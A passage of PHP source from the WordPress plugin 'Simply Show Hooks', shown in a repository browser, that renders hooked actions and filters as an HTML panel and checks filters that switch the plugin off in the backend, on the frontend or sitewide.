1006                                                                        if ( $nested_inner_value['function'] && is_array( $nested_inner_value['function'] ) && count( $nested_inner_value['function'] ) > 1 ):
1007                                                                               
1008                                                                                // Hooked function ( of type object->method() )
1009                                                                                ?>
1010                                                                                <span class="cxssh-function-string">
1011                                                                                        <?php
1012                                                                                        $classname = false;
1013                                                                                       
1014                                                                                        if ( is_object( $nested_inner_value['function'][0] ) || is_string( $nested_inner_value['function'][0] ) ) {
1015                                                                                               
1016                                                                                                if ( is_object( $nested_inner_value['function'][0] ) ) {
1017                                                                                                        $classname = get_class($nested_inner_value['function'][0] );
1018                                                                                                }
1019                                                                                               
1020                                                                                                if ( is_string( $nested_inner_value['function'][0] ) ) {
1021                                                                                                        $classname = $nested_inner_value['function'][0];
1022                                                                                                }
1023                                                                                               
1024                                                                                                if ( $classname ) {
1025                                                                                                        ?><?php echo $classname ?>&ndash;&gt;<?php
1026                                                                                                }
1027                                                                                        }
1028                                                                                        ?><?php echo $nested_inner_value['function'][1] ?>
1029                                                                                </span>
1030                                                                                <?php
1031                                                                        else :
1032                                                                               
1033                                                                                // Hooked function ( of type function() )
1034                                                                                ?>
1035                                                                                <span class="cxssh-function-string">
1036                                                                                        <?php echo $nested_inner_key ?>
1037                                                                                </span>
1038                                                                                <?php
1039                                                                        endif;
1040                                                                        ?>
1041                                                                       
1042                                                                </li>
1043                                                                <?php
1044                                                               
1045                                                        endforeach;
1046                                                       
1047                                                endforeach;
1048                                                ?>
1049                                               
1050                                        </ul>
1051                                        <?php
1052                                endif;
1053                               
1054                        endif;
1055                        ?>
1056                </span>
1057                <?php
1058        }
1059       
1060        /*
1061         * Filter Hooks Panel
1062         */
1063        function filter_hooks_panel() {
1064                global $wp_filter, $wp_actions;
1065                ?>
1066                <div class="cxssh-nested-hooks-block <?php echo ( 'show-filter-hooks' == $this->status ) ? 'cxssh-active' : '' ; ?> ">
1067                        <?php
1068                        foreach ( $this->all_hooks as $va_nested_value ) {
1069                               
1070                                if ( 'action' == $va_nested_value['type'] || 'filter' == $va_nested_value['type'] ) {
1071                                        $this->render_action( $va_nested_value );
1072                                }
1073                                else{
1074                                        ?>
1075                                        <div class="cxssh-collection-divider">
1076                                                <?php echo $va_nested_value['ID'] ?>
1077                                        </div>
1078                                        <?php
1079                                }
1080                               
1081                                /*
1082                                ?>
1083                                <div class="va-action">
1084                                        <?php echo $va_nested_value ?>
1085                                </div>
1086                                <?php
1087                                */
1088                        }
1089                        ?>
1090                </div>
1091                <?php
1092        }
1093       
1094        function plugin_active() {
1095               
1096                // Filters to deactivate our plugin - backend, frontend or sitewide.
1097                // add_filter( 'simply_show_hooks_active', '__return_false' );
1098                // add_filter( 'simply_show_hooks_backend_active', '__return_false' );
1099                // add_filter( 'simply_show_hooks_frontend_active', '__return_false' );
1100               
1101                if ( ! apply_filters( 'simply_show_hooks_active', TRUE ) ) {
1102                       
1103                        // Sitewide.
1104                        return FALSE;
1105                }
1106               
1107                if ( is_admin() ) {
1108                       
1109                        // Backend.
1110                        if ( ! apply_filters( 'simply_show_hooks_backend_active', TRUE ) ) return FALSE;
1111                }
1112                else {
1113                       
1114                        // Frontend.
1115                        if ( ! apply_filters( 'simply_show_hooks_frontend_active', TRUE ) ) return FALSE;
1116                }
1117               
1118                return TRUE;
1119        }
1120}
1121
1122CX_Simply_Show_Hooks::get_instance();
Note: See TracBrowser for help on using the repository browser.